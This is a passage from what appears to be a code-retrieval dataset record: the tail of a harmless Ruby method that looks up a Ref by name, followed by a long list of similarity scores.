has_ref?(name)\n\t\tRef.find_by_name(name)\n\tend" ]
[ "0.6654079", "0.65390664", "0.64424145", "0.64066184", "0.6260642", "0.6093188", "0.6075334", "0.60673094", "0.6000688", "0.59866464", "0.59861916", "0.5859776", "0.58464897", "0.5844984", "0.5824346", "0.5808137", "0.5780286", "0.5764828", "0.57563376", "0.574387", "0.57287556", "0.5726362", "0.5718807", "0.5711857", "0.570623", "0.5661554", "0.56603116", "0.5656642", "0.56539667", "0.5623088", "0.56150067", "0.5581935", "0.55777454", "0.5564138", "0.55593795", "0.555469", "0.55416715", "0.55341816", "0.5522163", "0.5519985", "0.55154294", "0.5493599", "0.5486259", "0.5472579", "0.5463906", "0.544491", "0.5440019", "0.5434457", "0.54151964", "0.5404173", "0.53983426", "0.53924453", "0.5388408", "0.53853226", "0.5382735", "0.53821874", "0.5373922", "0.53641635", "0.5363405", "0.53590405", "0.53556615", "0.53377014", "0.533721", "0.5336571", "0.53274274", "0.5322226", "0.5314023", "0.53129363", "0.53129363", "0.53129363", "0.53081506", "0.53057534", "0.53057367", "0.53057367", "0.53057367", "0.53057367", "0.529877", "0.52834815", "0.5254768", "0.525166", "0.5250686", "0.5250686", "0.5247629", "0.5245669", "0.52456677", "0.5244692", "0.5243347", "0.52431065", "0.5242954", "0.5242898", "0.5242082", "0.5233699", "0.5233418", "0.5232829", "0.5229301", "0.522867", "0.52281815", "0.5224922", "0.5214527", "0.52121246" ]
0.7472126
0